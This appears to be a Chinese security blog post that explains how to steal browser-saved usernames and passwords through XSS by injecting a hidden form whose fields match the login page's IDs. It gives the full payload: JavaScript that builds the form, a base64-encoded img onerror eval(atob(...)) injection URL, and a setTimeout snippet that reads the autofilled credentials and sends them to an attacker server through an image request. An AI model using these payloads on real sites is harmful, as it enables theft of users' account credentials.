通過(guò)XSS獲取明文賬戶及密碼

本文首發(fā)于I春秋

  1. 我們知道在瀏覽器存在這樣一個(gè)功能,當(dāng)用戶登錄成功了一個(gè)網(wǎng)頁(yè)后,瀏覽器會(huì)提示我們是否保存密碼。如果我們點(diǎn)擊同意,那么瀏覽器就會(huì)將賬戶及密碼進(jìn)行保存。
  2. 當(dāng)我們退出賬戶再次訪問(wèn)登錄頁(yè)面的時(shí)候,我們會(huì)發(fā)現(xiàn)瀏覽器已經(jīng)將我們保存好了的賬戶及密碼填寫(xiě)到了對(duì)應(yīng)的輸入框內(nèi)。如圖。
image.png
  1. 那么瀏覽器是如何識(shí)別到這個(gè)網(wǎng)頁(yè)并自動(dòng)填充好密碼的呢,首先,瀏覽器需要知道我們?cè)L問(wèn)的這個(gè)域名是否有保存過(guò)賬戶及密碼。然后他會(huì)去查詢(xún)網(wǎng)頁(yè)中是否有當(dāng)初我們保存賬戶及密碼時(shí)的標(biāo)簽ID是否相同,如果都滿足,那么瀏覽器就會(huì)在我們?cè)L問(wèn)的時(shí)候,自動(dòng)的將賬戶及密碼填充進(jìn)去。
image.png
  1. 到這里,思路就清晰了,既然瀏覽器是通過(guò)域名加標(biāo)簽ID進(jìn)行填充,那么如果我們能控制該域名下的標(biāo)簽ID,那么我們就有機(jī)會(huì)欺騙瀏覽器在我們控制的標(biāo)簽中填充進(jìn)去賬戶及密碼。所以我們只需要有一個(gè)XSS及可完成攻擊。
  2. 我們來(lái)假設(shè)一個(gè)場(chǎng)景,我們知道在內(nèi)網(wǎng)中有一個(gè)系統(tǒng)是使用域賬戶進(jìn)行登錄的,且該系統(tǒng)存在XSS,我們應(yīng)該如何獲取到他的賬戶和密碼。
  3. 現(xiàn)在攻擊成功的兩個(gè)條件中我們已經(jīng)滿足了一個(gè)了,就是都在相同的domain下,下一步我們需要通過(guò)XSS創(chuàng)建一個(gè)form標(biāo)簽和兩個(gè)input標(biāo)簽,并將ID設(shè)置為與登錄框相同的ID。這兩部完成我們就有幾率獲取到保存的明文賬戶及密碼。
  4. 現(xiàn)在我們來(lái)構(gòu)建一下payload
<script type="text/javascript">  
document.write("<div></div>") var form_1 = document.createElement("form"); form_1.id = 'f_id'; 
document.getElementsByTagName('div')[0].appendChild(form_1); document.getElementById('f_id').style.display='none'; var name_1 = document.createElement("input"); 
var pass_1 = document.createElement("input"); name_1.type = "text"; name_1.name = "username";
name_1.id = "username" pass_1.type = "password"; 
pass_1.name = "password"; 
pass_1.id = "password"; form_1.appendChild(name_1); form_1.appendChild(pass_1); 
</script>
  1. 通過(guò)這種方式我們就創(chuàng)建了一個(gè)隱藏的form框
image.png
  1. 這個(gè)時(shí)候我們通過(guò)xss 執(zhí)行試一下效果。PS:具體實(shí)現(xiàn),需要根據(jù)目標(biāo)網(wǎng)頁(yè)對(duì)代碼進(jìn)行微調(diào)

因?yàn)槟繕?biāo)站點(diǎn)不允許跨域JS,所以我們通過(guò)eval,atob進(jìn)行xss攻擊,首先進(jìn)行base64編碼

image.png

然后構(gòu)造相應(yīng)的XSS代碼

https://baidu.com/"</img></body><img src=x onerror=eval(atob('ZnVuY3Rpb24gY3JlYXRlX2JvZHkoKSB7CiAgZG9jdW1lbnQud3JpdGUoJzxib2R5PjwvYm9keT4nKTsKfQpmdW5jdGlvbiBjcmVhdGVfZm9ybSh1c2VyKSB7CiAgdmFyIGZvcm1fMSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2Zvcm0nKTsKICBmb3JtXzEuaWQgPSAnZl9pZCc7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChmb3JtXzEpOwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmX2lkJykuc3R5bGUuZGlzcGxheT0nbm9uZSc7CiAgdmFyIG5hbWVfMSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7CiAgdmFyIHBhc3NfMSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7CiAgbmFtZV8xLnR5cGUgPSAndGV4dCc7CiAgbmFtZV8xLm5hbWUgPSAndXNlcm5hbWUnOwogIG5hbWVfMS5pZCA9ICd1c2VybmFtZScKICBwYXNzXzEudHlwZSA9ICdwYXNzd29yZCc7CiAgcGFzc18xLm5hbWUgPSAncGFzc3dvcmQnOwogIHBhc3NfMS5pZCA9ICdwYXNzd29yZCc7CiAgZm9ybV8xLmFwcGVuZENoaWxkKG5hbWVfMSk7CiAgZm9ybV8xLmFwcGVuZENoaWxkKHBhc3NfMSk7Cn0KY3JlYXRlX2Zvcm0oJycpOw=='))></pre>
  1. 可以看到,成功插入了form框
image.png
  1. 我們直接在console 查看是否填充了賬戶和密碼,成功獲取到了賬戶和密碼。


    image.png
  2. 這個(gè)時(shí)候,我們就只需要添加JS代碼讓它 去自動(dòng)獲取賬戶和密碼,然后發(fā)送到我們的服務(wù)器就可以了。使用setTimeout是為了讓瀏覽器填充完畢才發(fā)送賬戶和密碼。(截止今天Chrome似乎已經(jīng)無(wú)法通過(guò)這種方式獲取,F(xiàn)irefox目前任然可以。)

setTimeout(function () { 
username = document.getElementById('login_username').value;
password = document.getElementById('login_password').value; 
if (username.length > 0) { 
  var newimg = new Image(); 
  newimg.src = 'http://127.0.0.1:8081/?username=' + username + '&password=' + password; 
} }, 2000);
  1. 賬戶密碼已成功接收。(這個(gè)是幾個(gè)月前的一次測(cè)試中利用到的攻擊手法,當(dāng)時(shí)幾乎所有瀏覽器都受影響,現(xiàn)目前只測(cè)試了Chrome和Firefox,Chrome已不受影響。)


    image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容